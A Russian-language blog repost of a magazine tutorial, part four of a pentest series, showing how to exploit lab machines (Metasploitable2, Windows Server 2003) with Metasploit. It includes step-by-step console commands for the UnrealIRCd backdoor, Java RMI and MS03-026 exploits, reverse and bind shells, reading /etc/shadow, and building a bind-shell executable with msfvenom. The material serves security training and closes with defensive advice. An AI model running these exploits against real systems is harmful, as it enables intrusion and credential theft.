Главная

Tuesday, 1 June 2021

Проводим пентест, часть 4 - используем уязвимости.

Всем привет.

Сегодня 4-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №07-08(164-165), 2016.

Часть 4. Используем уязвимости

После нахождения уязвимостей хакеру необходимо  ими воспользоваться. Есть много способов это сделать. В  этой  статье  мы  продолжим  тему  практического  теста на  проникновение.  Ранее  [1-3]  мы  подробно  рассмотрели способы  проникновения  в  сеть,  идентификации  ресурсов и  поиска  уязвимостей.  Теперь  поговорим  о  том,  как  злоумышленник может воспользоваться найденными в ПО уязвимостями.

Тему  использования  уязвимостей  мы  поделим  с  вами на три части, каждая из которых будет представлять отдельную статью. Первая будет посвящена эксплуатации уязвимостей с помощью Metaspoit Framework, входящего в состав Kali Linux. Этот фреймворк является основным инструментом при проведении любого пентеста. Во второй мы расскажем об уязвимостях в веб-приложени ях. Будут подробно рассмотрены различные кроссплатформенные инструменты, также входящие в состав Kali. Широкое распространение веб-приложений в корпоративных средах требует особого внимания к вопросам их защищенности, поэтому я планирую посвятить этому отдельную статью. В  третьей  статье  мы  поговорим  о  поиске  уязвимостей в «самописных» приложениях. Практически в любой крупной компании есть ПО, разработанное либо собственными программистами, либо сторонними разработчиками. Зачастую это довольно старые программы, давно не обновлявшиеся. Про уязвимости в них сканеры, описанные в предыдущих  статьях,  могут  не  знать,  так  как  в  силу  закрытости и  нераспространенности  данного  ПО  никто  не  проводил его аудит и, соответственно, никто не знает специфические ошибки. Также и Metasploit вряд ли сможет применить к таким приложениям свои эксплоиты. Поэтому в третьей статье мы рассмотрим, как самостоятельно искать дыры в ПО. 

Эта статья потребует от читателя некоторых базовых знаний в области программирования и языка ассемблер, без которого исследование выполнимых файлов невозможно.

Ну а теперь рассмотрим работу с Metasploit Framework.

Хакерский мультитул.

ПО Metasploit Framework от компании Rapid7 представляет собой  многофункциональный  набор  средств,  с  помощью которых можно осуществлять различные тесты на проникновение.  Есть  несколько  редакций  Metasploit  [4].  Если  Pro и  Express  являются  платными,  то  Community  и  Framework бесплатные. Мы будем рассматривать редакцию Framework как наиболее подходящую для тестов на проникновение. Metasploit Framework входит в состав Kali Linux и для запуска консоли выполним Applications/Exploitation Tools/Metasploit.  В результате мы попадаем в командную строку. Для начала проверим наличие соединения с БД:

msf > db_status

[*] postgresql connected to msf

При отсутствии соединения нужноо его восстановить, т.к. Metasploit постоянно использует базу в своей работе. Если все функционирует штатно, то можно перейти к выполнению  практических  задач  по  эксплуатации  найденных уязвимостей. Сначала мы попробуем воспользоваться уязвимостями в Linux, а затем посмотрим, как взломать Windows.

Такой дырявый Linux.

В  качестве  тестовой  Linux-машины  я  буду  использовать  дистрибутив  Metasploitable2  [5],  собранный  Rapid7  специально для обучения проведению тестов на проникновение. 

Научившись эксплуатировать уязвимости в этой ОС, вы затем сможете эффективно искать дыры в реальных системах. Предварительно проведенное с помощью Nessus сканирование машины показало уязвимости. Давайте посмотрим, что с этим можно сделать на практике. У нас обнаружилось  несколько  уязвимостей  уровня  CRITICAL.  С точки зрения изучения работы с Metasploit нам интересует уязвимость UnrealIRCd. Наличие сервиса rexec и простой пароль на VNC, конечно, тоже интересны, но эти уезвимости можно использовать без помощи Metasploit.

Вернемся  в  консоль  Metasploit  и  поищем  информацию об ircd. 


Подключим этот модуль:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

В Metasploit есть несколько типов модулей. Мы воспользовались  набором  эксплоитов  для  Unix-систем.  Каждый модуль имеет в своем составе набор настроек, с помощью которых можно осуществлять эксплуатацию уязвимости. Посмотрим, какие настройки есть у этого модуля. Здесь  есть  узел  и  порт  назначения.  Порт  оставляем без изменения, так как по отчету Nessus этот порт открыт. А вот хост назначения необходимо указать свой. В моем случае это будет 192.168.60.130.

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.60.130

RHOST => 192.168.60.130

В общем случае для эксплуатации уязвимости этих настроек будет достаточно. Как  видно  из  приведенного  ниже вывода,  эксплоит  успешно отработал и открыл удаленный доступ к командной строке на атакуемой машине. Посмотрим, какие у нас права.

id

uid=0(root) gid=0(root)

Проверим доступность файла с зашифрованными паролями пользователей.

cat /etc/shadow

root:$1$/av…

Эксплоит успешно отработал.



Если что-то пошло не так:

-при использовании свежеустановленного Kali Linux данный пример может не сработать. При попытке установить соединение на шаге

[*] Started reverse TCP double handler on 192.168.60.129:4444

Metasploit сообщит о том, что не может установить соединение по порту 4444.

-наиболее вероятной причиной проблемы является межсетевой экран на Kali Linux. Для его настройки рекомендую выполнить следующие действия в командной строке:

root@kali:~# apt-get update

root@kali:~# apt-get install gufw

root@kali:~# gufw

В открывшемся окне необходимо настроить правила доступа для входящих соединений по порту 4444.

Автоматизируй это.

Выполнив простейшую атаку, мы немного углубимся в работу с Metasploit. В одной из предыдущих статей мы проводили сканирование сети с помощью Nmap. Так вот, в Metasploit Framework предоставляет возможность запускать этот сканер непосредственно в своей консоли. Посмотрим, как можно использовать этот функционал. Просканируем всю подсеть 192.168.60.0/24:

msf > db_nmap -v -sS -A 192.168.60.0/24

В результате мы получаем список присутствующих в сети узлов и открытых на них портах. Посмотрим, какие есть активные узлы и какие порты открыты. 


Предлагаю обратить внимание на сервис Java RMI, работающий на порту 80. Протокол RMI объединяет два других протокола в одном формате: Java Object Serialization и HTTP. Приложения Java часто содержат уязвимости, поэтому попробуем посмотреть, что есть в Metasploit для java_rmi. В выводе сканера указан сервис java-rmi, однако, попробовав несколько вариантов слов для поиска, наиболее интересные варианты эксплоитов обнаружили в ветке java_rmi:

msf > search java_rmi

exploit/multi/misc/java_rmi_server              2011-10-15       

excellent  Java RMI Server Insecure Default Configuration Java Code Execution

Воспользуемся эксплоитом для RMI-сервера.

msf > use exploit/multi/misc/java_rmi_server

Далее смотрим опции для данного модуля.

msf exploit(java_rmi_server) > show options


Нам необходимо указать IP-адрес удаленного узла.

msf exploit(java_rmi_server) > set RHOST 192.168.60.130


Теперь необходимо определиться с тем кодом эксплоита, который мы хотим использовать. Возможны различные варианты  эксплуатации  уязвимостей,  например  использование  обратного  соединения  reverse  shell.  В  таком  случае целевой  узел  будет  сам  пытаться  установить  соединение с хакерской машиной. Это один из наиболее распространенных способов обхода файрволов.

msf exploit(java_rmi_server) > show payloads

Compatible Payloads

Name Disclosure Date  

Rank    Description

   java/meterpreter/reverse_nonx_tcp                     

normal  Java Meterpreter, Reverse TCP Stager

   java/meterpreter/reverse_tcp                          

normal  Java Meterpreter, Reverse TCP Stager

   java/meterpreter/reverse_tcp_uuid                     

normal  Java Meterpreter, Reverse TCP Stager

   java/metsvc_bind_tcp

Выберем вариант получения доступа с помощью Reverse_shell к командной строке по протоколу TCP.

msf exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp

PAYLOAD =>   java/meterpreter/reverse_tcp

Здесь необходимо дополнительно указать узел, с которого производится атака, так как при осуществлении обратного соединения атакуемая машина сама будет подключаться к узлу атакующего.


Как видно из листинга, при запуске эксплоита стартовал сервер RMI, на котором был выполнен shell-код, после чего было открыто соединение c удаленной машины на локальную по порту 4444.


Домашнее задание.

Думаю, что с аудитом Linux-систем все более-менее понятно. Для закрепления материала предлагаю читателю сначала  попробовать  самостоятельно  проникнуть  в  имеющиеся дыры, а затем проверить, все ли удалось найти, прочитав материал вендора [6]. Ну а для тех, кто по-настоящему увлекся этой темой или мечтает о карьере пентестера, я рекомендую ресурс VulHub [7]. На данном сайте находятся специальные сборки ОС Linux, содержащие в себе множество уязвимостей. Это своего рода задачки для пентестера, сколько уязвимостей он сможет найти в том или ином дистрибутиве.

Не менее дырявая Windows.

Однако  наш  практический  аудит  был  бы  не  полным,  если бы  мы  не  рассмотрели  эксплуатацию  уязвимостей  в  ОС Windows. Для того чтобы сделать наши примеры более приближенными к реальности, я в качестве тестовой ОС буду использовать  Windows  Server  2003  Enterprise  Edition  SP1. Эту версию до сих пор можно встретить в промышленной эксплуатации во многих организациях. Здесь мы не будем использовать никакие специализированные сборки. Вместо этого я предлагаю просто установить ОС Windows 2003 SP1. Межсетевой экран необходимо выключить (а вы часто включаете файрвол на внутрикорпоративных серверах?). Служба Remote Desktop должна быть включена.

Для начала проделаем все те же действия, что уже выполнялись ранее, а именно просканируем сеть, найдем целевой узел, проверим его сканерами уязвимостей. Результат сканирования машины под управлением Windows 2003 приведен на рис. 8. Как видно, здесь тоже есть несколько интересных уязвимостей.  Традиционным  источником  разнообразных дыр  в  безопасности  ОС  Windows  является  протокол  RPC. Учитывая найденные в процессе сканирования уязвимости RPC, попробуем поискать по слову dcerpc:

search dcerpc

Получаем  несколько  уязвимостей  RPC,  использующих порт 135. В соответствии с отчетом, который нам построил Nessus, на целевой машине имеется уязвимость MS-03-026. Попробуем воспользоваться ею. Для этого подключим соответствующий модуль:

use exploit/windows/dcerpc/ms03_026_dcom

Дальнейшие  наши  действия  будут  аналогичны  тем, что уже выполнялись для Linux. Посмотрим доступные опции:

show options

Как видно, ничего необычного здесь нет. Указываем IP-адрес целевого узла

set RHOST 192.168.60.130

Далее посмотрим, какие именно варианты кода эксплоита доступны:

show payloads

Здесь  я  предлагаю  выбрать  «обратное  соединение» (reverse shell), так как с практической точки зрения этот режим, вероятнее всего, будет использовать злоумышленник.

set PAYLOAD windows/meterpreter/reverse_tcp

Далее указываем адрес атакующей машины:

set LHOST 192.168.60.129

Теперь можно выполнить команду exploit, однако многие системные  администраторы  боятся,  что  выполнение  подобных  команд  на  «боевых»  серверах  приведет  к  сбоям в их работе. Для того чтобы проверить уязвимость сервера, нам совершенно не обязательно выполнять на нем код эксплоита. Вместо этого достаточно просто выполнить команду "check" для проверки уязвимости узла. К сожалению, эта команда присутствует не во всех эксплоитах, поэтому я не использовал ее ранее. В  случае  успешной  эксплуатации  с  помощью  команды exploit мы должны получить приглашение

meterpreter > getsid

Server username: NT AUTHORITY\SYSTEM

С аудитом машин под управлением ОС Windows, я думаю, тоже все понятно. Собственно команды являются типовыми, необходимо лишь правильно подобрать эксплоит и настроить его. Предлагаю поговорить об «офлайновом» функционале Metasploit.

Атакуем с флангов.

Мы пытались эксплуатировать уязвимости удаленно. Для защиты от таких атак  зачастую  достаточно  межсетевого  экрана.  Сканеры  не  смогут  находить уязвимости удаленно, но сами дыры от этого не исчезнут. Злоумышленник  может  попытаться  запустить эксплоит локально. Для этого ему необходимо как-то (по электронной почте, с флешки и т.д.) записать выполнимый файл с эксплоитом на сервер и добиться того, чтобы его выполнили. Остается дело за малым: как превратить эксплоит из Metasploit в выполнимый файл.

В первой статье цикла мы договорились не разрабатывать ПО для пентеста и пока не будем нарушать это правило. Однако в составе Metasploit есть утилита,  позволяющая  экспортировать эксплоит в выполнимый файл. Вообще  утилита  msfvenom  позволяет  производить  различные  действия по экспорту эксплоитов. Мы еще вернемся  к  описанию  функционала данной утилиты, когда будем рассматривать  самостоятельное  написание эксплоитов.  Но  пока  нас  интересует только создание выполнимых файлов. Допустим,  нам  нужно  создать  исполняемый  файл  Windows,  который после  запуска  будет  позволять  устанавливать TCP-соединение типа bind_tcp по порту 4444. Для этого нам прежде всего потребуется  модуль  windows/shell/bind_tcp из состава Metasploit.

Рисунок 6. Список опций

Рисунок 7. Эксплуатация уязвимости Java RMI Server

root@kali:~# msfvenom –a x86 –platform windows –p windows/shell/bind_tcp –f exe –o myexploit.exe

Рассмотрим  синтаксис  команды  msfvenom  более  подробно.  Ключ  -a  определяет  используемую  архитектуру,  – platform – это платформа. Далее -p указывает код эксплоита, который мы хотим использовать. Далее -f – это формат, в котором мы хотим получить результирующий файл. И, наконец, -o – имя данного файла. Мы не указываем в настройках порт, так как будет использован порт 4444 по умолчанию. Запуск этого файла на целевой машине приведет к открытию на ней порта 4444.

Утилита msfvenom обладает рядом функций по сокрытию shell-кода в результирующем файле. Этот функционал полезен  при  тестировании  того,  как  антивирусные  системы обнаруживают файлы с эксплоитами. Тем, кого заинтересовала эта тема, я рекомендую обратиться к статье [5].

Делаем выводы.

Вообще для тех, кто выполнил действия, описанные в предыдущей статье цикла по поиску уязвимостей, этот материал должен был стать скорее теоретическим. Дело в том, что, обнаружив уязвимости в своих системах, здравомыслящий админ должен принять меры по их устранению. Это может быть либо установка обновлений и заплаток, либо изоляция уязвимых систем с помощью межсетевых экранов и других внешних средств защиты. Поэтому в случае если по результатам действий вам удалось получить доступ к какой-либо из своих систем, это очень плохой знак и нужно еще озаботиться поиском уязвимостей и установкой обновлений.

Даже если с рабочими системами все в порядке, я бы рекомендовал временно развернуть в корпоративной сети уязвимую ОС типа Metasploitable для того, чтобы осуществить описанные в статье действия и посмотреть, как действуют различные сетевые средства защиты, такие как IDS и антивирусы. По результатам тестирования можно сделать соответствующие выводы.

Например, в случае если при попытке удаленной эксплуатации уязвимостей используемая система IPS ничего не обнаружила, то прежде всего необходимо проверить, а точно ли трафик (в случае установки IPS «в разрыв») или его копия (в случае «зеркалирования») попадает на IPS. Как ни странно, очень часто топология сети построена так, что не весь критичный трафик доступен для анализа.

Второй причиной, почему система обнаружения не видит атаки, является отсутствие или неверная настройка сигнатур и правил, которые используются для обнаружения. Еще одной типичной ситуацией при сканировании является использование локальных межсетевых экранов. При включенном брандмауэре сканер может не найти многих уязвимостей, которые есть в системе. В результате может возникнуть ложное  ощущение,  что  система  полностью  защищена.  Однако это чувство ошибочно. Провести сканирование на уязвимости можно и локально, поместив соответствующий код на целевую систему и запустив его там. Приведенный пример использования msfvenom показывает, как можно создать выполняемое приложение, которое при запуске открывает порт на атакуемой машине. Для борьбы с такими угрозами необходим регулярно обновляемый антивирус. Антивирус должен заблокировать попытку записать на сервер и запустить созданного с помощью msfvenom выполнимого файла. Конечно, здесь тоже не все так просто. В интернете можно найти множество статей по обфускации (запутыванию) кода эксплоита как средствами msfvenom, так и с помощью сторонних приложений. Поэтому помимо антивируса,  который  может  пропустить  видоизмененный эксплоит, нужно настроить регулярный мониторинг попыток установки соединений с критичных серверов. Например, попытки сервера, установленного в локальной сети, связаться с каким-либо узлом в интернете являются по определению подозрительными. Лучше всего для такого мониторинга использовать  систему  SIEM,  которая  позволяет  производить корреляцию  событий  ИБ,  с  помощью  чего  можно  выявить и предотвратить подозрительную активность.

В статье мы использовали Metasploit для эксплуатации найденных  уязвимостей.  Однако  сейчас  большое  количество бизнес-приложений  использует  веб-интерфейс  для  взаимодействия с пользователями. Поэтому в следующей статье цикла мы рассмотрим аудит безопасности веб-приложений.

[1]  Бирюков  А.  Проводим  пентест.  Часть  1.  Проникаем  в  беспроводную сеть.// «Системный администратор», №4, 2016 г. – С. 40-44 (http://samag.ru/archive/article/3171).

[2]  Бирюков  А.  Проводим  пентест.  Часть  2.  Сбор  необходимой информации.//  «Системный  администратор»,  №5,  2016  г.  – С. 27-31 (http://samag.ru/archive/article/3190).

[3]  Бирюков  А.  Проводим  пентест.  Часть  3.  Ищем  уязвимости.// «Системный  администратор»,  №6,  2016  г.  –  С.  24-29  (http://samag.ru/archive/article/3211).

[4]  Редакции  Metasploit  –  https://www.rapid7.com/products/metasploit/editions.jsp.

[5]Дистрибутив Metasploitable2,  https://sourceforge.net/projects/metasploitable/files/Metasploitable2.

[6]  Описание дыр в Metasploitable2 – https://community.rapid7.com/docs/DOC-1875.

[7]  Дистрибутивы уязвимых ОС – https://www.vulnhub.com.

[8]  Описание  работы  с  msfvenom  –  https://www.offensive-security.com/metasploit-unleashed/msfvenom.

[9]  Пентест Windows 2003 – https://www.darkmoreops.com/2014/08/11/how-to-hack-remote-pc-with-metasploits-windows-2003-server.

Продолжение следует.

No comments:

Post a Comment

А что вы думаете по этому поводу?